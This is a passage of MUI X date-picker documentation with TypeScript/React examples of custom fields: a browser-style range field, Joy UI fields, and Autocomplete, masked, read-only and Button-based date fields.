  UseMultiInputRangeFieldTextFieldProps,
} from '@mui/x-date-pickers-pro/hooks';
import { Unstable_PickersSectionList as PickersSectionList } from '@mui/x-date-pickers/PickersSectionList';
import {
  MultiInputFieldSlotTextFieldProps,
  MultiInputFieldRefs,
} from '@mui/x-date-pickers-pro/models';

const BrowserFieldRoot = styled('div', { name: 'BrowserField', slot: 'Root' })({
  display: 'flex',
  alignItems: 'center',
});

const BrowserFieldContent = styled('div', { name: 'BrowserField', slot: 'Content' })(
  {
    border: '1px solid grey',
    fontSize: 13.33333,
    lineHeight: 'normal',
    padding: '1px 2px',
    whiteSpace: 'nowrap',
  },
);

interface BrowserTextFieldProps extends UseMultiInputRangeFieldTextFieldProps<
  true,
  React.HTMLAttributes<HTMLDivElement>
> {
  triggerRef?: React.Ref<HTMLDivElement>;
}

function BrowserTextField(props: BrowserTextFieldProps) {
  const {
    // Should be ignored
    enableAccessibleFieldDOMStructure,

    // Should be passed to the PickersSectionList component
    elements,
    sectionListRef,
    contentEditable,
    onFocus,
    onBlur,
    tabIndex,
    onInput,
    onPaste,
    onKeyDown,

    // Can be passed to a hidden <input /> element
    onChange,
    value,

    // Can be used to style the component
    areAllSectionsEmpty,
    disabled,
    readOnly,
    focused,
    error,

    triggerRef,

    // The rest can be passed to the root element
    ...other
  } = props;

  return (
    <BrowserFieldRoot {...other} ref={triggerRef}>
      <BrowserFieldContent>
        <PickersSectionList
          elements={elements}
          sectionListRef={sectionListRef}
          contentEditable={contentEditable}
          onFocus={onFocus}
          onBlur={onBlur}
          tabIndex={tabIndex}
          onInput={onInput}
          onPaste={onPaste}
          onKeyDown={onKeyDown}
        />
      </BrowserFieldContent>
    </BrowserFieldRoot>
  );
}

interface BrowserMultiInputDateRangeFieldProps
  extends
    Omit<DateRangePickerFieldProps, 'unstableFieldRef' | 'clearable' | 'onClear'>,
    MultiInputFieldRefs {
  slotProps: {
    textField: any;
  };
}

function BrowserMultiInputDateRangeField(
  props: BrowserMultiInputDateRangeFieldProps,
) {
  const manager = useDateRangeManager();
  const pickerContext = usePickerContext();
  const { internalProps, forwardedProps } = useSplitFieldProps(props, 'date');
  const { slotProps, ...otherForwardedProps } = forwardedProps;

  const startTextFieldProps = useSlotProps({
    elementType: 'input',
    externalSlotProps: slotProps?.textField,
    ownerState: { position: 'start' } as any,
  }) as MultiInputFieldSlotTextFieldProps;

  const endTextFieldProps = useSlotProps({
    elementType: 'input',
    externalSlotProps: slotProps?.textField,
    ownerState: { position: 'end' } as any,
  }) as MultiInputFieldSlotTextFieldProps;

  const fieldResponse = useMultiInputRangeField({
    manager,
    internalProps,
    startTextFieldProps,
    endTextFieldProps,
    rootProps: {
      ref: pickerContext.rootRef,
      spacing: 2,
      direction: 'row' as const,
      overflow: 'auto',
      ...otherForwardedProps,
    },
  });

  return (
    <Stack {...fieldResponse.root}>
      <BrowserTextField
        {...fieldResponse.startTextField}
        triggerRef={pickerContext.triggerRef}
      />
      <span>–</span>
      <BrowserTextField {...fieldResponse.endTextField} />
    </Stack>
  );
}

BrowserMultiInputDateRangeField.fieldType = 'multi-input';

function BrowserDateRangePicker(props: DateRangePickerProps) {
  return (
    <DateRangePicker
      {...props}
      slots={{ ...props.slots, field: BrowserMultiInputDateRangeField }}
    />
  );
}

export default function BrowserV7MultiInputRangeField() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <BrowserDateRangePicker />
    </LocalizationProvider>
  );
}

```

### Using Joy UI

You can use the [Joy UI](https://mui.com/joy-ui/getting-started/) components instead of the Material UI ones:

```tsx
import * as React from 'react';
import {
  ThemeProvider,
  createTheme,
  useColorScheme as useMaterialColorScheme,
} from '@mui/material/styles';
import {
  extendTheme as extendJoyTheme,
  useColorScheme,
  CssVarsProvider,
  THEME_ID,
} from '@mui/joy/styles';
import Input from '@mui/joy/Input';
import IconButton from '@mui/joy/IconButton';
import FormControl from '@mui/joy/FormControl';
import FormLabel from '@mui/joy/FormLabel';
import { createSvgIcon } from '@mui/joy/utils';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import {
  DatePicker,
  DatePickerFieldProps,
  DatePickerProps,
} from '@mui/x-date-pickers/DatePicker';
import { unstable_useDateField as useDateField } from '@mui/x-date-pickers/DateField';
import { usePickerContext } from '@mui/x-date-pickers/hooks';

const CalendarIcon = createSvgIcon(
  <path d="M17 12h-5v5h5v-5zM16 1v2H8V1H6v2H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-1V1h-2zm3 18H5V8h14v11z" />,
  'Calendar',
);

const ClearIcon = createSvgIcon(
  <path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z" />,
  'Clear',
);

const joyTheme = extendJoyTheme();

function JoyDateField(props: DatePickerFieldProps) {
  const fieldResponse = useDateField<false, typeof props>(props);

  const {
    // Should be ignored
    enableAccessibleFieldDOMStructure,

    // Should be passed to the button that opens the picker
    openPickerAriaLabel,

    // Can be passed to the button that clears the value
    onClear,
    clearable,

    // Can be used to style the component
    disabled,
    readOnly,
    error,
    inputRef,

    // The rest can be passed to the root element
    id,
    value,
    ...other
  } = fieldResponse;

  const pickerContext = usePickerContext();

  return (
    <FormControl disabled={disabled} id={id} ref={pickerContext.rootRef}>
      <FormLabel>{pickerContext.label}</FormLabel>
      <Input
        disabled={disabled}
        endDecorator={
          <React.Fragment>
            {clearable && value && (
              <IconButton
                title="Clear"
                tabIndex={-1}
                onClick={onClear}
                sx={{ marginRight: 0.5 }}
              >
                <ClearIcon size="md" />
              </IconButton>
            )}
            <IconButton
              onClick={() => pickerContext.setOpen((prev) => !prev)}
              aria-label={openPickerAriaLabel}
            >
              <CalendarIcon size="md" />
            </IconButton>
          </React.Fragment>
        }
        slotProps={{
          input: { ref: inputRef },
        }}
        {...other}
        value={value}
        ref={pickerContext.triggerRef}
      />
    </FormControl>
  );
}

function JoyDatePicker(props: DatePickerProps<false>) {
  return (
    <DatePicker
      {...props}
      enableAccessibleFieldDOMStructure={false}
      slots={{ ...props.slots, field: JoyDateField }}
    />
  );
}

/**
 * This component is for syncing the theme mode of this demo with the MUI docs mode.
 * You might not need this component in your project.
 */
function SyncThemeMode() {
  const { setMode } = useColorScheme();
  const { mode } = useMaterialColorScheme();
  React.useEffect(() => {
    if (mode) {
      setMode(mode);
    }
  }, [mode, setMode]);
  return null;
}

const theme = createTheme({ colorSchemes: { light: true, dark: true } });

export default function JoyV6Field() {
  return (
    <ThemeProvider theme={theme}>
      <CssVarsProvider theme={{ [THEME_ID]: joyTheme }}>
        <SyncThemeMode />
        <LocalizationProvider dateAdapter={AdapterDayjs}>
          <JoyDatePicker
            slotProps={{
              field: { clearable: true },
            }}
          />
        </LocalizationProvider>
      </CssVarsProvider>
    </ThemeProvider>
  );
}

```

```tsx
import * as React from 'react';
import {
  ThemeProvider,
  createTheme,
  useColorScheme as useMaterialColorScheme,
} from '@mui/material/styles';
import {
  extendTheme as extendJoyTheme,
  useColorScheme,
  CssVarsProvider,
  THEME_ID,
} from '@mui/joy/styles';
import { createSvgIcon } from '@mui/joy/utils';
import Input from '@mui/joy/Input';
import FormControl from '@mui/joy/FormControl';
import FormLabel from '@mui/joy/FormLabel';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import {
  DateRangePicker,
  DateRangePickerFieldProps,
  DateRangePickerProps,
} from '@mui/x-date-pickers-pro/DateRangePicker';
import { unstable_useSingleInputDateRangeField as useSingleInputDateRangeField } from '@mui/x-date-pickers-pro/SingleInputDateRangeField';
import { usePickerContext } from '@mui/x-date-pickers/hooks';
import IconButton from '@mui/joy/IconButton';

const DateRangeIcon = createSvgIcon(
  <path d="M9 11H7v2h2v-2zm4 0h-2v2h2v-2zm4 0h-2v2h2v-2zm2-7h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm0 16H5V9h14v11z" />,
  'DateRange',
);

const ClearIcon = createSvgIcon(
  <path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z" />,
  'Clear',
);

const joyTheme = extendJoyTheme();

function JoySingleInputDateRangeField(props: DateRangePickerFieldProps) {
  const fieldResponse = useSingleInputDateRangeField<false, typeof props>(props);

  const {
    // Should be ignored
    enableAccessibleFieldDOMStructure,

    // Should be passed to the button that opens the picker
    openPickerAriaLabel,

    // Can be passed to the button that clears the value
    onClear,
    clearable,

    disabled,
    id,
    value,
    inputRef,
    ...other
  } = fieldResponse;

  const pickerContext = usePickerContext();

  return (
    <FormControl
      disabled={disabled}
      id={id}
      ref={pickerContext.rootRef}
      style={{
        minWidth: 300,
      }}
    >
      <FormLabel>{pickerContext.label}</FormLabel>
      <Input
        disabled={disabled}
        endDecorator={
          <React.Fragment>
            {clearable && value && (
              <IconButton
                title="Clear"
                tabIndex={-1}
                onClick={onClear}
                sx={{ marginRight: 0.5 }}
              >
                <ClearIcon size="md" />
              </IconButton>
            )}
            <IconButton
              onClick={() => pickerContext.setOpen((prev) => !prev)}
              aria-label={openPickerAriaLabel}
            >
              <DateRangeIcon size="md" />
            </IconButton>
          </React.Fragment>
        }
        slotProps={{
          input: { ref: inputRef },
        }}
        {...other}
        value={value}
        ref={pickerContext.triggerRef}
      />
    </FormControl>
  );
}

JoySingleInputDateRangeField.fieldType = 'single-input';

function JoySingleInputDateRangePicker(props: DateRangePickerProps<false>) {
  return (
    <DateRangePicker
      {...props}
      enableAccessibleFieldDOMStructure={false}
      slots={{ ...props.slots, field: JoySingleInputDateRangeField }}
    />
  );
}

/**
 * This component is for syncing the theme mode of this demo with the MUI docs mode.
 * You might not need this component in your project.
 */
function SyncThemeMode() {
  const { setMode } = useColorScheme();
  const { mode } = useMaterialColorScheme();
  React.useEffect(() => {
    if (mode) {
      setMode(mode);
    }
  }, [mode, setMode]);
  return null;
}

const theme = createTheme({ colorSchemes: { light: true, dark: true } });

export default function JoyV6SingleInputRangeField() {
  return (
    <ThemeProvider theme={theme}>
      <CssVarsProvider theme={{ [THEME_ID]: joyTheme }}>
        <SyncThemeMode />
        <LocalizationProvider dateAdapter={AdapterDayjs}>
          <JoySingleInputDateRangePicker
            slotProps={{
              field: { clearable: true },
            }}
          />
        </LocalizationProvider>
      </CssVarsProvider>
    </ThemeProvider>
  );
}

```

```tsx
import * as React from 'react';
import {
  ThemeProvider,
  createTheme,
  useColorScheme as useMaterialColorScheme,
} from '@mui/material/styles';
import useSlotProps from '@mui/utils/useSlotProps';
import {
  extendTheme as extendJoyTheme,
  useColorScheme,
  CssVarsProvider,
  THEME_ID,
} from '@mui/joy/styles';
import Input, { InputProps } from '@mui/joy/Input';
import Stack from '@mui/joy/Stack';
import FormControl from '@mui/joy/FormControl';
import FormLabel from '@mui/joy/FormLabel';
import Typography from '@mui/joy/Typography';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { usePickerContext, useSplitFieldProps } from '@mui/x-date-pickers/hooks';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import {
  DateRangePicker,
  DateRangePickerFieldProps,
  DateRangePickerProps,
} from '@mui/x-date-pickers-pro/DateRangePicker';
import { useDateRangeManager } from '@mui/x-date-pickers-pro/managers';
import {
  unstable_useMultiInputRangeField as useMultiInputRangeField,
  UseMultiInputRangeFieldTextFieldProps,
} from '@mui/x-date-pickers-pro/hooks';
import {
  MultiInputFieldRefs,
  MultiInputFieldSlotTextFieldProps,
} from '@mui/x-date-pickers-pro/models';

const joyTheme = extendJoyTheme();

interface JoyTextFieldProps
  extends
    UseMultiInputRangeFieldTextFieldProps<false, {}>,
    Omit<InputProps, keyof UseMultiInputRangeFieldTextFieldProps<false, {}>> {
  label?: React.ReactNode;
  triggerRef?: React.Ref<HTMLDivElement>;
}

function JoyField(props: JoyTextFieldProps) {
  const {
    // Should be ignored
    enableAccessibleFieldDOMStructure,

    triggerRef,
    disabled,
    id,
    label,
    slotProps,
    inputRef,
    ...other
  } = props;

  return (
    <FormControl disabled={disabled} id={id}>
      <FormLabel>{label}</FormLabel>
      <Input
        disabled={disabled}
        slotProps={{
          ...slotProps,
          input: { ...slotProps?.input, ref: inputRef },
        }}
        {...other}
        ref={triggerRef}
      />
    </FormControl>
  );
}

interface JoyMultiInputDateRangeFieldProps
  extends
    Omit<DateRangePickerFieldProps, 'unstableFieldRef' | 'clearable' | 'onClear'>,
    MultiInputFieldRefs {
  slotProps: {
    textField: any;
  };
}

function JoyMultiInputDateRangeField(props: JoyMultiInputDateRangeFieldProps) {
  const manager = useDateRangeManager({
    enableAccessibleFieldDOMStructure: false,
  });
  const pickerContext = usePickerContext();
  const { internalProps, forwardedProps } = useSplitFieldProps(props, 'date');
  const { slotProps, ...otherForwardedProps } = forwardedProps;

  const startTextFieldProps = useSlotProps({
    elementType: 'input',
    externalSlotProps: slotProps?.textField,
    additionalProps: { label: 'Start' },
    ownerState: { position: 'start' } as any,
  }) as MultiInputFieldSlotTextFieldProps;

  const endTextFieldProps = useSlotProps({
    elementType: 'input',
    externalSlotProps: slotProps?.textField,
    additionalProps: { label: 'End' },
    ownerState: { position: 'end' } as any,
  }) as MultiInputFieldSlotTextFieldProps;

  const fieldResponse = useMultiInputRangeField({
    manager,
    internalProps: { ...internalProps, enableAccessibleFieldDOMStructure: false },
    rootProps: {
      ref: pickerContext.rootRef,
      spacing: 2,
      overflow: 'auto',
      direction: 'row' as const,
      alignItems: 'center',
      ...otherForwardedProps,
    },
    startTextFieldProps,
    endTextFieldProps,
  });

  return (
    <Stack {...fieldResponse.root}>
      <JoyField
        {...fieldResponse.startTextField}
        triggerRef={pickerContext.triggerRef}
      />
      <FormControl>
        <Typography sx={{ marginTop: '25px' }}>{' – '}</Typography>
      </FormControl>
      <JoyField {...fieldResponse.endTextField} />
    </Stack>
  );
}

JoyMultiInputDateRangeField.fieldType = 'multi-input';

function JoyDateRangePicker(props: DateRangePickerProps) {
  return (
    <DateRangePicker
      {...props}
      enableAccessibleFieldDOMStructure={false}
      slots={{ ...props?.slots, field: JoyMultiInputDateRangeField }}
    />
  );
}

/**
 * This component is for syncing the theme mode of this demo with the MUI docs mode.
 * You might not need this component in your project.
 */
function SyncThemeMode() {
  const { setMode } = useColorScheme();
  const { mode } = useMaterialColorScheme();
  React.useEffect(() => {
    if (mode) {
      setMode(mode);
    }
  }, [mode, setMode]);
  return null;
}

const theme = createTheme({ colorSchemes: { light: true, dark: true } });

export default function JoyV6MultiInputRangeField() {
  return (
    <ThemeProvider theme={theme}>
      <CssVarsProvider theme={{ [THEME_ID]: joyTheme }}>
        <SyncThemeMode />
        <LocalizationProvider dateAdapter={AdapterDayjs}>
          <JoyDateRangePicker />
        </LocalizationProvider>
      </CssVarsProvider>
    </ThemeProvider>
  );
}

```

:::warning
All the Joy UI examples use the non-accessible DOM structure.
The new accessible DOM structure will become compatible with Joy UI in the future.
:::

## With a custom editing experience

### Using an Autocomplete

If your user can only select a value in a small list of available dates, you can replace the field with the [Autocomplete](/material-ui/react-autocomplete/) component to list those dates:

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import useForkRef from '@mui/utils/useForkRef';
import TextField from '@mui/material/TextField';
import IconButton from '@mui/material/IconButton';
import Autocomplete from '@mui/material/Autocomplete';
import { CalendarIcon } from '@mui/x-date-pickers/icons';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import {
  DatePicker,
  DatePickerFieldProps,
  DatePickerProps,
} from '@mui/x-date-pickers/DatePicker';
import {
  usePickerContext,
  usePickerTranslations,
  useSplitFieldProps,
} from '@mui/x-date-pickers/hooks';
import { useValidation, validateDate } from '@mui/x-date-pickers/validation';

interface AutocompleteFieldProps extends DatePickerFieldProps {
  /**
   * @typescript-to-proptypes-ignore
   */
  options?: Dayjs[];
}

function AutocompleteField(props: AutocompleteFieldProps) {
  const { forwardedProps, internalProps } = useSplitFieldProps(props, 'date');
  const {
    value,
    setValue,
    timezone,
    triggerRef,
    rootRef,
    rootClassName,
    rootSx,
    open,
    label,
    name,
    setOpen,
  } = usePickerContext();
  const pickerTranslations = usePickerTranslations();
  const { options = [], ...other } = forwardedProps;

  const { hasValidationError, getValidationErrorForNewValue } = useValidation({
    validator: validateDate,
    value,
    timezone,
    props: internalProps,
  });

  const handleRef = useForkRef(triggerRef, rootRef);

  const formattedValue = value ? value.format('ll') : null;
  const openPickerAriaLabel =
    pickerTranslations.openDatePickerDialogue(formattedValue);

  return (
    <Autocomplete
      {...other}
      options={options}
      ref={handleRef}
      className={rootClassName}
      sx={[{ minWidth: 250 }, ...(Array.isArray(rootSx) ? rootSx : [rootSx])]}
      renderInput={(params) => {
        const endAdornment = params.InputProps
          .endAdornment as React.ReactElement<any>;
        return (
          <TextField
            {...params}
            error={hasValidationError}
            focused={open}
            label={label}
            name={name}
            InputProps={{
              ...params.InputProps,
              endAdornment: React.cloneElement(endAdornment, {
                children: (
                  <React.Fragment>
                    <IconButton
                      onClick={() => setOpen((prev) => !prev)}
                      aria-label={openPickerAriaLabel}
                      size="small"
                    >
                      <CalendarIcon />
                    </IconButton>
                    {endAdornment.props.children}
                  </React.Fragment>
                ),
              }),
            }}
          />
        );
      }}
      getOptionLabel={(option) => {
        if (!dayjs.isDayjs(option)) {
          return '';
        }

        return option.format('MM/DD/YYYY');
      }}
      value={value}
      onChange={(_, newValue) => {
        setValue(newValue, {
          validationError: getValidationErrorForNewValue(newValue),
        });
      }}
      isOptionEqualToValue={(option, valueToCheck) =>
        option.toISOString() === valueToCheck.toISOString()
      }
    />
  );
}

interface AutocompleteDatePickerProps extends DatePickerProps {
  /**
   * @typescript-to-proptypes-ignore
   */
  options: Dayjs[];
}

function AutocompleteDatePicker(props: AutocompleteDatePickerProps) {
  const { options, ...other } = props;

  const optionsLookup = React.useMemo(
    () =>
      options.reduce(
        (acc, option) => {
          acc[option.toISOString()] = true;
          return acc;
        },
        {} as Record<string, boolean>,
      ),
    [options],
  );

  return (
    <DatePicker
      slots={{ ...props.slots, field: AutocompleteField }}
      slotProps={{ ...props.slotProps, field: { options } as any }}
      shouldDisableDate={(date) => !optionsLookup[date.startOf('day').toISOString()]}
      {...other}
    />
  );
}

const today = dayjs().startOf('day');

export default function MaterialDatePicker() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <AutocompleteDatePicker
        label="Pick a date"
        options={[
          today,
          today.add(1, 'day'),
          today.add(4, 'day'),
          today.add(5, 'day'),
        ]}
      />
    </LocalizationProvider>
  );
}

```

### Using a masked Text Field

If you want to use a simple mask approach for the field editing instead of the built-in logic, you can replace the default field with the [TextField](/material-ui/react-text-field/) component using a masked input value built with the [rifm](https://github.com/realadvisor/rifm) package.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { useRifm } from 'rifm';
import TextField from '@mui/material/TextField';
import InputAdornment from '@mui/material/InputAdornment';
import IconButton from '@mui/material/IconButton';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import {
  DatePicker,
  DatePickerProps,
  DatePickerFieldProps,
} from '@mui/x-date-pickers/DatePicker';
import {
  useSplitFieldProps,
  useParsedFormat,
  usePickerContext,
} from '@mui/x-date-pickers/hooks';
import { useValidation, validateDate } from '@mui/x-date-pickers/validation';
import { CalendarIcon } from '@mui/x-date-pickers/icons';

const MASK_USER_INPUT_SYMBOL = '_';
const ACCEPT_REGEX = /[\d]/gi;

const staticDateWith2DigitTokens = dayjs('2019-11-21T11:30:00.000');
const staticDateWith1DigitTokens = dayjs('2019-01-01T09:00:00.000');

function getInputValueFromValue(value: Dayjs | null, format: string) {
  if (value == null) {
    return '';
  }

  return value.isValid() ? value.format(format) : '';
}

function MaskedDateField(props: DatePickerFieldProps) {
  const { internalProps, forwardedProps } = useSplitFieldProps(props, 'date');
  const pickerContext = usePickerContext();
  const parsedFormat = useParsedFormat();

  // Control the input text
  const [inputValue, setInputValue] = React.useState<string>(() =>
    getInputValueFromValue(pickerContext.value, pickerContext.fieldFormat),
  );

  React.useEffect(() => {
    if (pickerContext.value && pickerContext.value.isValid()) {
      const newDisplayDate = getInputValueFromValue(
        pickerContext.value,
        pickerContext.fieldFormat!,
      );
      setInputValue(newDisplayDate);
    }
  }, [pickerContext.fieldFormat, pickerContext.value]);

  const { hasValidationError, getValidationErrorForNewValue } = useValidation({
    value: pickerContext.value,
    timezone: pickerContext.timezone,
    props: internalProps,
    validator: validateDate,
  });

  const handleInputValueChange = (newInputValue: string) => {
    setInputValue(newInputValue);

    const newValue = dayjs(newInputValue, pickerContext.fieldFormat);
    pickerContext.setValue(newValue, {
      validationError: getValidationErrorForNewValue(newValue),
    });
  };

  const rifmFormat = React.useMemo(() => {
    const formattedDateWith1Digit = staticDateWith1DigitTokens.format(
      pickerContext.fieldFormat,
    );
    const inferredFormatPatternWith1Digits = formattedDateWith1Digit.replace(
      ACCEPT_REGEX,
      MASK_USER_INPUT_SYMBOL,
    );
    const inferredFormatPatternWith2Digits = staticDateWith2DigitTokens
      .format(pickerContext.fieldFormat)
      .replace(ACCEPT_REGEX, '_');

    if (inferredFormatPatternWith1Digits !== inferredFormatPatternWith2Digits) {
      throw new Error(
        `Mask does not support numbers with variable length such as 'M'.`,
      );
    }

    const maskToUse = inferredFormatPatternWith1Digits;

    return function formatMaskedDate(valueToFormat: string) {
      let outputCharIndex = 0;
      return valueToFormat
        .split('')
        .map((character, characterIndex) => {
          ACCEPT_REGEX.lastIndex = 0;

          if (outputCharIndex > maskToUse.length - 1) {
            return '';
          }

          const maskChar = maskToUse[outputCharIndex];
          const nextMaskChar = maskToUse[outputCharIndex + 1];

          const acceptedChar = ACCEPT_REGEX.test(character) ? character : '';
          const formattedChar =
            maskChar === MASK_USER_INPUT_SYMBOL
              ? acceptedChar
              : maskChar + acceptedChar;

          outputCharIndex += formattedChar.length;

          const isLastCharacter = characterIndex === valueToFormat.length - 1;
          if (
            isLastCharacter &&
            nextMaskChar &&
            nextMaskChar !== MASK_USER_INPUT_SYMBOL
          ) {
            // when cursor at the end of mask part (e.g. month) prerender next symbol "21" -> "21/"
            return formattedChar ? formattedChar + nextMaskChar : '';
          }

          return formattedChar;
        })
        .join('');
    };
  }, [pickerContext.fieldFormat]);

  const rifmProps = useRifm({
    value: inputValue,
    onChange: handleInputValueChange,
    format: rifmFormat,
  });

  return (
    <TextField
      placeholder={parsedFormat}
      error={hasValidationError}
      focused={pickerContext.open}
      name={pickerContext.name}
      label={pickerContext.label}
      className={pickerContext.rootClassName}
      sx={pickerContext.rootSx}
      ref={pickerContext.rootRef}
      {...rifmProps}
      {...forwardedProps}
      InputProps={{
        ref: pickerContext.triggerRef,
        endAdornment: (
          <InputAdornment position="end">
            <IconButton
              onClick={() => pickerContext.setOpen((prev) => !prev)}
              edge="end"
            >
              <CalendarIcon />
            </IconButton>
          </InputAdornment>
        ),
      }}
    />
  );
}

function MaskedFieldDatePicker(props: DatePickerProps) {
  return (
    <DatePicker slots={{ ...props.slots, field: MaskedDateField }} {...props} />
  );
}

export default function MaskedMaterialTextField() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <MaskedFieldDatePicker />
    </LocalizationProvider>
  );
}

```

### Using a read-only Text Field

If you want users to select a value exclusively through the views
but you still want the UI to look like a Text Field, you can replace the field with a read-only [Text Field](/material-ui/react-text-field/) component:

```tsx
import TextField from '@mui/material/TextField';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import {
  DatePicker,
  DatePickerProps,
  DatePickerFieldProps,
} from '@mui/x-date-pickers/DatePicker';
import { useValidation, validateDate } from '@mui/x-date-pickers/validation';
import {
  useSplitFieldProps,
  useParsedFormat,
  usePickerContext,
} from '@mui/x-date-pickers/hooks';
import { CalendarIcon } from '@mui/x-date-pickers/icons';

function ReadOnlyDateField(props: DatePickerFieldProps) {
  const { internalProps, forwardedProps } = useSplitFieldProps(props, 'date');

  const pickerContext = usePickerContext();
  const parsedFormat = useParsedFormat();
  const { hasValidationError } = useValidation({
    validator: validateDate,
    value: pickerContext.value,
    timezone: pickerContext.timezone,
    props: internalProps,
  });

  return (
    <TextField
      {...forwardedProps}
      value={
        pickerContext.value == null
          ? ''
          : pickerContext.value.format(pickerContext.fieldFormat)
      }
      placeholder={parsedFormat}
      InputProps={{
        ref: pickerContext.triggerRef,
        readOnly: true,
        endAdornment: <CalendarIcon color="action" />,
        sx: { cursor: 'pointer', '& *': { cursor: 'inherit' } },
      }}
      error={hasValidationError}
      focused={pickerContext.open}
      onClick={() => pickerContext.setOpen((prev) => !prev)}
      className={pickerContext.rootClassName}
      sx={pickerContext.rootSx}
      ref={pickerContext.rootRef}
      name={pickerContext.name}
      label={pickerContext.label}
    />
  );
}

function ReadOnlyFieldDatePicker(props: DatePickerProps) {
  return (
    <DatePicker {...props} slots={{ ...props.slots, field: ReadOnlyDateField }} />
  );
}

export default function MaterialDatePicker() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <ReadOnlyFieldDatePicker />
    </LocalizationProvider>
  );
}

```

### Using a read-only Text Field on mobile

If you want to keep the default behavior on desktop but have a read-only TextField on mobile, you can conditionally render the custom field presented in the previous section:

```tsx
import TextField from '@mui/material/TextField';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import {
  DatePicker,
  DatePickerProps,
  DatePickerFieldProps,
} from '@mui/x-date-pickers/DatePicker';
import { useValidation, validateDate } from '@mui/x-date-pickers/validation';
import {
  useSplitFieldProps,
  useParsedFormat,
  usePickerContext,
} from '@mui/x-date-pickers/hooks';
import { CalendarIcon } from '@mui/x-date-pickers/icons';
import { DateField } from '@mui/x-date-pickers/DateField';

function ReadOnlyDateField(props: DatePickerFieldProps) {
  const { internalProps, forwardedProps } = useSplitFieldProps(props, 'date');

  const pickerContext = usePickerContext();

  const parsedFormat = useParsedFormat();
  const { hasValidationError } = useValidation({
    validator: validateDate,
    value: pickerContext.value,
    timezone: pickerContext.timezone,
    props: internalProps,
  });

  return (
    <TextField
      {...forwardedProps}
      value={
        pickerContext.value == null
          ? ''
          : pickerContext.value.format(pickerContext.fieldFormat)
      }
      placeholder={parsedFormat}
      InputProps={{
        ref: pickerContext.triggerRef,
        readOnly: true,
        endAdornment: <CalendarIcon color="action" />,
        sx: { cursor: 'pointer', '& *': { cursor: 'inherit' } },
      }}
      error={hasValidationError}
      focused={pickerContext.open}
      onClick={() => pickerContext.setOpen((prev) => !prev)}
      name={pickerContext.name}
      label={pickerContext.label}
      className={pickerContext.rootClassName}
      sx={pickerContext.rootSx}
      ref={pickerContext.rootRef}
    />
  );
}

function ReadOnlyOnMobileDateField(props: DatePickerFieldProps) {
  const pickerContext = usePickerContext();

  if (pickerContext.variant === 'mobile') {
    return <ReadOnlyDateField {...props} />;
  }

  return <DateField {...props} />;
}

function ReadOnlyFieldDatePicker(props: DatePickerProps) {
  return (
    <DatePicker
      {...props}
      slots={{ ...props.slots, field: ReadOnlyOnMobileDateField }}
    />
  );
}

export default function MaterialDatePicker() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <ReadOnlyFieldDatePicker />
    </LocalizationProvider>
  );
}

```

### Using a Button

If you want users to select a value exclusively through the views
and you don't want the UI to look like a Text Field, you can replace the field with the [Button](/material-ui/react-button/) component:

```tsx
import useForkRef from '@mui/utils/useForkRef';
import Button from '@mui/material/Button';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import {
  DatePicker,
  DatePickerProps,
  DatePickerFieldProps,
} from '@mui/x-date-pickers/DatePicker';
import { useValidation, validateDate } from '@mui/x-date-pickers/validation';
import {
  useSplitFieldProps,
  useParsedFormat,
  usePickerContext,
} from '@mui/x-date-pickers/hooks';

function ButtonDateField(props: DatePickerFieldProps) {
  const { internalProps, forwardedProps } = useSplitFieldProps(props, 'date');

  const pickerContext = usePickerContext();
  const handleRef = useForkRef(pickerContext.triggerRef, pickerContext.rootRef);
  const parsedFormat = useParsedFormat();
  const { hasValidationError } = useValidation({
    validator: validateDate,
    value: pickerContext.value,
    timezone: pickerContext.timezone,
    props: internalProps,
  });

  const valueStr =
    pickerContext.value == null
      ? parsedFormat
      : pickerContext.value.format(pickerContext.fieldFormat);

  return (
    <Button
      {...forwardedProps}
      variant="outlined"
      color={hasValidationError ? 'error' : 'primary'}
      ref={handleRef}
      className={pickerContext.rootClassName}
      sx={pickerContext.rootSx}
      onClick={() => pickerContext.setOpen((prev) => !prev)}
    >
      {pickerContext.label ? `${pickerContext.label}: ${valueStr}` : valueStr}
    </Button>
  );
}

function ButtonFieldDatePicker(props: DatePickerProps) {
  return (
    <DatePicker {...props} slots={{ ...props.slots, field: ButtonDateField }} />
  );
}

export default function MaterialDatePicker() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <ButtonFieldDatePicker />
    </LocalizationProvider>
  );
}

```

The same logic can be applied to any Range Picker:

```tsx
import { Dayjs } from 'dayjs';
